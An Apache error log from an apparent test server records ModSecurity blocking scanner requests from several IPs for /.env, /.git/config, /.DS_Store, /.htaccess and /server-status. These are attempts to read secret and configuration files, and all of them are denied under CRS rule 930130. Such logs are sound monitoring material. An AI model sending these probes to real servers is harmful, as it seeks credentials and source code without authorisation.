[Sun Nov 23 02:04:21.004448 2025] [:error] [pid 264216] [client 185.40.4.100:36856] [client 185.40.4.100] ModSecurity: Warning. Matched phrase ".htaccess" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htaccess found within REQUEST_FILENAME: /8mhxmlqszmrlzg5zenx.htaccess"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/8mHXmlQSzmRLZg5ZenX.htaccess"] [unique_id "aSJdlUuy3Z5uOc28nrrCIgAAAAY"]
[Sun Nov 23 02:04:21.004766 2025] [:error] [pid 264216] [client 185.40.4.100:36856] [client 185.40.4.100] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/8mHXmlQSzmRLZg5ZenX.htaccess"] [unique_id "aSJdlUuy3Z5uOc28nrrCIgAAAAY"]
[Sun Nov 23 02:04:21.004927 2025] [:error] [pid 264216] [client 185.40.4.100:36856] [client 185.40.4.100] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/8mHXmlQSzmRLZg5ZenX.htaccess"] [unique_id "aSJdlUuy3Z5uOc28nrrCIgAAAAY"]
[Sun Nov 23 02:04:22.615500 2025] [authz_core:error] [pid 264142] [client 185.40.4.10:40312] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/.htaccess
[Mon Nov 24 08:09:06.353889 2025] [authz_core:error] [pid 290812] [client 206.81.24.227:39854] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Mon Nov 24 08:09:08.027388 2025] [:error] [pid 289434] [client 206.81.24.227:39874] [client 206.81.24.227] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aSQElEkegqg-SpMlpG6ZjAAAAAU"]
[Mon Nov 24 08:09:08.028209 2025] [:error] [pid 289434] [client 206.81.24.227:39874] [client 206.81.24.227] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aSQElEkegqg-SpMlpG6ZjAAAAAU"]
[Mon Nov 24 08:09:08.028425 2025] [:error] [pid 289434] [client 206.81.24.227:39874] [client 206.81.24.227] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aSQElEkegqg-SpMlpG6ZjAAAAAU"]
[Mon Nov 24 08:09:08.407744 2025] [:error] [pid 289423] [client 206.81.24.227:39890] [client 206.81.24.227] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aSQElGQD9_sbehPhIhHhUwAAAAQ"]
[Mon Nov 24 08:09:08.407983 2025] [:error] [pid 289423] [client 206.81.24.227:39890] [client 206.81.24.227] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aSQElGQD9_sbehPhIhHhUwAAAAQ"]
[Mon Nov 24 08:09:08.408177 2025] [:error] [pid 289423] [client 206.81.24.227:39890] [client 206.81.24.227] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aSQElGQD9_sbehPhIhHhUwAAAAQ"]
[Mon Nov 24 08:09:08.731359 2025] [:error] [pid 291192] [client 206.81.24.227:39896] [client 206.81.24.227] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aSQElK1ne1xotegg6nCJGAAAAAk"]
[Mon Nov 24 08:09:08.731596 2025] [:error] [pid 291192] [client 206.81.24.227:39896] [client 206.81.24.227] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aSQElK1ne1xotegg6nCJGAAAAAk"]
[Mon Nov 24 08:09:08.731770 2025] [:error] [pid 291192] [client 206.81.24.227:39896] [client 206.81.24.227] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aSQElK1ne1xotegg6nCJGAAAAAk"]
[Mon Nov 24 14:55:19.569911 2025] [authz_core:error] [pid 289434] [client 206.189.225.181:44092] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Mon Nov 24 14:55:20.467268 2025] [:error] [pid 291192] [client 206.189.225.181:44120] [client 206.189.225.181] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aSRjyK1ne1xotegg6nCJcgAAAAk"]
[Mon Nov 24 14:55:20.467504 2025] [:error] [pid 291192] [client 206.189.225.181:44120] [client 206.189.225.181] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aSRjyK1ne1xotegg6nCJcgAAAAk"]
[Mon Nov 24 14:55:20.467672 2025] [:error] [pid 291192] [client 206.189.225.181:44120] [client 206.189.225.181] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aSRjyK1ne1xotegg6nCJcgAAAAk"]
[Mon Nov 24 14:55:20.757774 2025] [:error] [pid 289421] [client 206.189.225.181:44122] [client 206.189.225.181] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aSRjyML1iBXL_RQpp4IGRgAAAAI"]
[Mon Nov 24 14:55:20.758007 2025] [:error] [pid 289421] [client 206.189.225.181:44122] [client 206.189.225.181] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aSRjyML1iBXL_RQpp4IGRgAAAAI"]
[Mon Nov 24 14:55:20.758183 2025] [:error] [pid 289421] [client 206.189.225.181:44122] [client 206.189.225.181] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aSRjyML1iBXL_RQpp4IGRgAAAAI"]
[Mon Nov 24 14:55:21.059038 2025] [:error] [pid 294797] [client 206.189.225.181:44132] [client 206.189.225.181] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aSRjyQ4k_W94gZNW8aYIvAAAAAs"]
[Mon Nov 24 14:55:21.059276 2025] [:error] [pid 294797] [client 206.189.225.181:44132] [client 206.189.225.181] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aSRjyQ4k_W94gZNW8aYIvAAAAAs"]
[Mon Nov 24 14:55:21.059447 2025] [:error] [pid 294797] [client 206.189.225.181:44132] [client 206.189.225.181] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aSRjyQ4k_W94gZNW8aYIvAAAAAs"]
[Wed Nov 26 09:06:41.514803 2025] [authz_core:error] [pid 332947] [client 206.189.233.36:44524] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Wed Nov 26 09:06:42.410751 2025] [:error] [pid 332764] [client 206.189.233.36:44564] [client 206.189.233.36] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aSa1Er_di7oM_t3yyj5SyQAAAAE"]
[Wed Nov 26 09:06:42.410992 2025] [:error] [pid 332764] [client 206.189.233.36:44564] [client 206.189.233.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aSa1Er_di7oM_t3yyj5SyQAAAAE"]
[Wed Nov 26 09:06:42.411160 2025] [:error] [pid 332764] [client 206.189.233.36:44564] [client 206.189.233.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aSa1Er_di7oM_t3yyj5SyQAAAAE"]
[Wed Nov 26 09:06:42.703477 2025] [:error] [pid 336731] [client 206.189.233.36:44570] [client 206.189.233.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aSa1ElPr-5NQFmRJopW57gAAAAw"]
[Wed Nov 26 09:06:42.703718 2025] [:error] [pid 336731] [client 206.189.233.36:44570] [client 206.189.233.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aSa1ElPr-5NQFmRJopW57gAAAAw"]
[Wed Nov 26 09:06:42.703886 2025] [:error] [pid 336731] [client 206.189.233.36:44570] [client 206.189.233.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aSa1ElPr-5NQFmRJopW57gAAAAw"]
[Wed Nov 26 09:06:42.995578 2025] [:error] [pid 336734] [client 206.189.233.36:44572] [client 206.189.233.36] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aSa1EsVzR697olltB6JkkgAAAA8"]
[Wed Nov 26 09:06:42.995827 2025] [:error] [pid 336734] [client 206.189.233.36:44572] [client 206.189.233.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aSa1EsVzR697olltB6JkkgAAAA8"]
[Wed Nov 26 09:06:42.995997 2025] [:error] [pid 336734] [client 206.189.233.36:44572] [client 206.189.233.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aSa1EsVzR697olltB6JkkgAAAA8"]
[Wed Nov 26 12:23:58.258023 2025] [authz_core:error] [pid 336731] [client 164.90.208.56:54384] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Wed Nov 26 12:24:00.035686 2025] [:error] [pid 336734] [client 164.90.208.56:54434] [client 164.90.208.56] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aSbjUMVzR697olltB6JkqgAAAA8"]
[Wed Nov 26 12:24:00.035922 2025] [:error] [pid 336734] [client 164.90.208.56:54434] [client 164.90.208.56] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aSbjUMVzR697olltB6JkqgAAAA8"]
[Wed Nov 26 12:24:00.036106 2025] [:error] [pid 336734] [client 164.90.208.56:54434] [client 164.90.208.56] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aSbjUMVzR697olltB6JkqgAAAA8"]
[Wed Nov 26 12:24:01.078320 2025] [:error] [pid 336733] [client 164.90.208.56:54448] [client 164.90.208.56] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aSbjUdFEE-YEDclto1jQoQAAAA4"]
[Wed Nov 26 12:24:01.078594 2025] [:error] [pid 336733] [client 164.90.208.56:54448] [client 164.90.208.56] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aSbjUdFEE-YEDclto1jQoQAAAA4"]
[Wed Nov 26 12:24:01.078774 2025] [:error] [pid 336733] [client 164.90.208.56:54448] [client 164.90.208.56] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aSbjUdFEE-YEDclto1jQoQAAAA4"]
[Wed Nov 26 12:24:01.475543 2025] [:error] [pid 332764] [client 164.90.208.56:55884] [client 164.90.208.56] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aSbjUb_di7oM_t3yyj5S4wAAAAE"]
[Wed Nov 26 12:24:01.475788 2025] [:error] [pid 332764] [client 164.90.208.56:55884] [client 164.90.208.56] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aSbjUb_di7oM_t3yyj5S4wAAAAE"]
[Wed Nov 26 12:24:01.475961 2025] [:error] [pid 332764] [client 164.90.208.56:55884] [client 164.90.208.56] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aSbjUb_di7oM_t3yyj5S4wAAAAE"]
